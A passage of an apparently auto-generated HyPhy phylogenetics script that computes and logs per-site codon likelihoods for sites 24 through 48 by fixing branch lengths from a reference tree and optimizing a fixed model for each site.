assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "24\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 25...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "72,73,74", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 25");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "25\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 26...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "75,76,77", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 26");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "26\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 27...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "78,79,80", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 27");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "27\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 28...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "81,82,83", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 28");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "28\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 29...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "84,85,86", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 29");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "29\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 30...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "87,88,89", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 30");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "30\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 31...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "90,91,92", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 31");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "31\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 32...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "93,94,95", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 32");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "32\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 33...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "96,97,98", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 33");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "33\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 34...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "99,100,101", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 34");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "34\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 35...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "102,103,104", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 35");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "35\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 36...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "105,106,107", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 36");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "36\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 37...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "108,109,110", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 37");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "37\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 38...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "111,112,113", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 38");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "38\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 39...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "114,115,116", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 39");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "39\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 40...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "117,118,119", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 40");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "40\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 41...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "120,121,122", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 41");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "41\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 42...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "123,124,125", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 42");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "42\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 43...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "126,127,128", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 43");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "43\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 44...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "129,130,131", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 44");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "44\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 45...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "132,133,134", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 45");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "45\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 46...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "135,136,137", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 46");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "46\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 47...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "138,139,140", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 47");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "47\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 48...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "141,142,143", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 48");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
